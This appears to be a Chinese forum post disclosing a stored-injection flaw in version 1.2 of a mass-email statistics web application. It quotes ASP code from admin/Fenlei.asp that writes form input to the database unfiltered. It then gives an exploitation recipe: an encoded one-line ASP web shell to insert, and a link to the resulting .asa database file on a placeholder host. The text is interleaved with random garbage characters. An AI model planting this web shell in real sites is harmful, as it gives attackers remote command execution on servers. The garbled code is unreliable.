铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
8 o; H7 S/ O( }# _  S2 n- R6 {ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
4 U6 E( g& f1 v& x+ }) Z# y2 q( USet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
/ e/ V& @( Q9 h2 x+ sRs.Open Sql,Conn,1,3
( H  b0 ]& _0 O; ~3 }) s, aRs.Addnew
Rs("Typename")=Tname
  R) l# t  h% f'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
5 h; B- ]- h& |'略
%>
8 |1 y2 K7 v4 T8 N. {* K/ X" {$ m
' h# h3 m7 v5 j7 Q

) N" W( a8 Y/ B# r$ a没有过滤，直接写入数据库。
. C% |7 }2 T* R. S9 b  y0 j6 {1 M
; e" y4 e  x9 ?: i7 e7 b4 |, I4 u$ K利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
' q1 Q3 R! f& i/ x) F& n& t' L4 P

连接： http://www.xxx.com/###tongbaner.asa
# z* e  M+ s! Y5 I+ E'默认安装文件：
/ [, f0 P! b( m'install.asp
3 k/ D( F& S& h" C% D* p